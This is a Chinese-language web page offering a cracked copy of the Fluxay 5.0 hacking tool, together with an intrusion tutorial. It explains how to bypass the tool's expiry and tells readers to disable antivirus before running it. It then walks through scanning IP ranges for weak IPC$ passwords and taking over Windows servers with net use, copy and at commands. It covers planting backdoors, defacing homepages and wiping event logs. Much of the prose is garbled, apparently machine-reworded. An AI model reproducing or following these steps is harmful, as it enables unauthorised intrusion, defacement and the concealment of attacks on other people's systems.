流光Fluxay是中國(guó)第一代著名的黑客小榕的作品,一款絕好的ftp、pop3解密工具,界面豪華,功能強(qiáng)大,掃描系統(tǒng)服務(wù)器漏洞的利器。
流光5.0的破解可分為5大部分
一、POP3/FTP/…探測(cè)
二、IPC探測(cè)
三、SQL探測(cè)
四、高級(jí)掃描
因?yàn)殚_(kāi)發(fā)時(shí)間的原因,上面的探測(cè)模式略有不同,所以分成了四個(gè)部分,本教程說(shuō)的是第一個(gè)部分的探測(cè)。后面的探測(cè)模式應(yīng)該屬于流光5.0的高級(jí)應(yīng)用了:)
流光功能如下
1、用于檢測(cè)POP3/FTP主機(jī)中用戶(hù)密碼安全漏洞。
2、163/169雙通。
3、多線程檢測(cè),消除系統(tǒng)中密碼漏洞。
4、高效的用戶(hù)流模式。
5、高效服務(wù)器流模式,可同時(shí)對(duì)多臺(tái)POP3/FTP主機(jī)進(jìn)行檢測(cè)。
6、最多500個(gè)線程探測(cè)。
7、線程超時(shí)設(shè)置,阻塞線程具有自殺功能,不會(huì)影響其他線程。
8、支持10個(gè)字典同時(shí)檢測(cè)。
9、檢測(cè)設(shè)置可作為項(xiàng)目保存。
10、取消了國(guó)內(nèi)IP限制而且免費(fèi)。
Fluxay5.0新增功能
1、加入了本地模式,在本機(jī)運(yùn)行是不必安裝Sensor。
2、Sensor掃描臨時(shí)結(jié)果文件(*.PTR)的尺寸大約減少了10倍。
3、后臺(tái)掃描模式時(shí),掃描的結(jié)果(*.PTR)可以直接通過(guò)附件發(fā)送到信箱。
4、Sensor的掃描速度加快。
5、減少了Sensor異常退出的BUG。
6、流光的界面和Sensor之間的通訊采用Triple-DES,密鑰的長(zhǎng)度最多可到192bits,保證整個(gè)傳輸過(guò)程不可監(jiān) 聽(tīng)。掃描的結(jié)果也只有在密鑰正確的情況下才可閱讀。
7、修正的控制服務(wù),新的控制服務(wù)在升級(jí)Sensor時(shí)不再會(huì)失敗。
8、Sensor的服務(wù)名稱(chēng)可以任意指定,控制服務(wù)和Sensor的進(jìn)程名稱(chēng)也可以任意指定。
9、支持XP(本地模式),很快會(huì)有98/ME的版本。
如何去除FluXayⅣ的使用時(shí)間限制
1.修改文件法
首先說(shuō)說(shuō)怎樣解決流光Ⅳ過(guò)期的問(wèn)題。使用流光Ⅳ之前,雙擊系統(tǒng)托盤(pán)中的時(shí)間,調(diào)出“日期/時(shí)間屬性”對(duì)話框,在這里把系統(tǒng)時(shí)間調(diào)整到2001年。然后下載16進(jìn)制文件編輯器winhex,WinHex可以打開(kāi)EXE和dll文件對(duì)其中的16進(jìn)制代碼進(jìn)行編輯修改。我們要用它來(lái)修改流光Ⅳ的主程序。下載之后,一路點(diǎn)擊“下一步”即可安裝完畢。
2.防火墻
如果你不喜歡自己動(dòng)手修改軟件,那么還可以使用下面這個(gè)辦法去除流光Ⅳ的使用時(shí)間限制。安裝任意一款網(wǎng)絡(luò)防火墻,如天網(wǎng)防火墻。然后把系統(tǒng)日期調(diào)整為2001年,運(yùn)行天網(wǎng)防火墻之后再運(yùn)行流光Ⅳ,此時(shí)天網(wǎng)防火墻會(huì)報(bào)警兩次,我們要做的禁止它們通行就可以了。怎樣禁止?就是天網(wǎng)詢(xún)問(wèn)是否讓其通過(guò),請(qǐng)選擇“禁止”,并把“以后都按照這次的操作進(jìn)行” 選上,則以后上網(wǎng)只要打開(kāi)天網(wǎng)防火墻,無(wú)論怎樣流光Ⅳ都不會(huì)過(guò)期!
流光5.0破解版,安裝請(qǐng)看壓縮包里面的軟件說(shuō)明!
PS:此位黑客工具,很多網(wǎng)友加我們的客服問(wèn)為什么會(huì)被殺毒殺,因?yàn)闅⒍拒浖灰呛诳凸ぞ哕浖紩?huì)判斷為病毒,所以請(qǐng)大家放心使用,使用前請(qǐng)最好關(guān)閉殺毒軟件!
使用教程
1、你要有流光5.0,這里我實(shí)驗(yàn)用的是流光5.02001.FORWin2000漢化版。FORWin98的不能。由于IPC聯(lián)網(wǎng)控制是NT/2000給予的功效。并且流光5.0FOR2K規(guī)定你電腦操作系統(tǒng)的是NT/2000,不然流光5.0總結(jié)會(huì)不成功!什么叫IPC:
IPC就是指"InterProcessCommunications",確切地說(shuō)是ipc$,是默認(rèn)在開(kāi)機(jī)啟動(dòng)時(shí)的admin分享。
IPC$是WindowsNT/2K中獨(dú)有的遠(yuǎn)程網(wǎng)絡(luò)登錄作用,它的作用是在同一時(shí)間內(nèi),2個(gè)IP中間只可以建立一個(gè)聯(lián)接。
留意,你試圖用IPC$聯(lián)接會(huì)到EventLog中留有紀(jì)錄。無(wú)論也許你登錄成功。
能不能根據(jù)IPC$暴力破解密碼?完全可以!但是,是否太笨了點(diǎn)…
2、初次運(yùn)行流光5.0,會(huì)看見(jiàn)登記注冊(cè)的界面,具體步驟請(qǐng)見(jiàn)自己第一篇實(shí)例教程。大家在主界面上能夠方法有哪些來(lái)根據(jù)IPC探測(cè)得到管理工作的管理權(quán)限。這兒我們要作的是獲得一臺(tái)梯子,那就可以用準(zhǔn)確率強(qiáng)的方法來(lái)探測(cè)了(檢測(cè)一堆IP來(lái)獲得弱口令)。
在主界面挑選探測(cè)→探測(cè)POP3/FTP/NT/SQL服務(wù)器選擇項(xiàng),然后直接按Ctrl+R。
3、出先了上邊的懸浮窗口,鍵入我們要破譯的IP段,大家鍵入了來(lái)看一下。我們可以把“將FrontPage服務(wù)器全自動(dòng)添加HTTP服務(wù)器目錄取消”。只要我們只想要得到IPC弱口令,這可以加速掃描儀速度:)填寫(xiě)IP,挑選掃描儀NT/98服務(wù)器
4、探測(cè)中……
(留意如果你想要探測(cè)的是流光5.0保存的國(guó)內(nèi)IP段,會(huì)被禁止的,其實(shí)就是探測(cè)時(shí)公告欄發(fā)生"IP保存"字樣)
有遠(yuǎn)程主機(jī)的管理密碼了,大家接下來(lái)就是想盡辦法操縱他了,有哪些找邦企么?)有的是!自己看看專(zhuān)用工具-菜單欄中的IIS遠(yuǎn)程連接命令:)是否很容易呢,我以后在講,今日先訓(xùn)練net指令吧。
黑他!
開(kāi)一個(gè)dosprompt實(shí)行如下所示指令,此次用的事例。
1、netuse\\另一方ip\ipc$"登陸密碼"/user:"登錄名"||創(chuàng)建遠(yuǎn)程桌面連接
2、copyicmd.exe\\另一方ip\admin$||admin$是對(duì)方的winnt文件目錄)這兒文檔多。
3、nettime\\另一方IP||看一下對(duì)方本地時(shí)間
4、at\\另一方ip啟動(dòng)程序的時(shí)間也啟動(dòng)程序名啟動(dòng)程序的主要參數(shù)||用at指令來(lái)定時(shí)啟動(dòng)程序流程,在這兒大家用soon這一程序流程做還可以,它能夠替代3/4二步。
5、telnet另一方ip端口||
6、鍵入pass(要不是用icmd.exe,或沒(méi)有設(shè)定動(dòng)態(tài)口令就不用了)||
7、在開(kāi)一個(gè)對(duì)話框,再次copy我們用的東西。copysock.execopyntlm.execopycl.execlear.exe
假如我們真想黑他,只需要將我們自己的主頁(yè)文檔遮蓋目標(biāo)主頁(yè)就ok了,我們通過(guò)dir/sdefault.htm或是dir/sindex.htm來(lái)決定另一方頁(yè)面的才行,一般是在X:\interpub\wwwroot\.
倘若主頁(yè)文檔是default.htm而且在c:\interpub\wwwroot,那樣:copydefault.htm\\ip\c$\interpub\wwwroot
有演試
8、實(shí)際上黑人家是很低等而且沒(méi)意思的:(大家最好物有所有,做成梯子吧,將來(lái)干活兒便捷點(diǎn):
實(shí)行大家copy以往的ntlm.exe,撤銷(xiāo)驗(yàn)正。在給自己留點(diǎn)個(gè)側(cè)門(mén),例如提高guest的管理權(quán)限,或者其他的側(cè)門(mén)專(zhuān)用工具,這種東西多了她選吧,看一下殺手copy的那堆東西:)
9、還可以制成其它的么?
當(dāng)然,只要是有時(shí)長(zhǎng),并愿意做,曾經(jīng)的我悄悄的將自己的首頁(yè)放進(jìn)別人的server上,速度更快、空間無(wú)限,哈哈哈:)
10、日志消除,中斷連接:
實(shí)行大家copy以往的cl.execlear.exe都能夠消除日志,例如clearall:清除所有的日志。之后在中斷連接:netuse\\ip\ipc$/delete
解壓密碼:www.kkx.net
下一篇:.cr2文件打開(kāi)軟件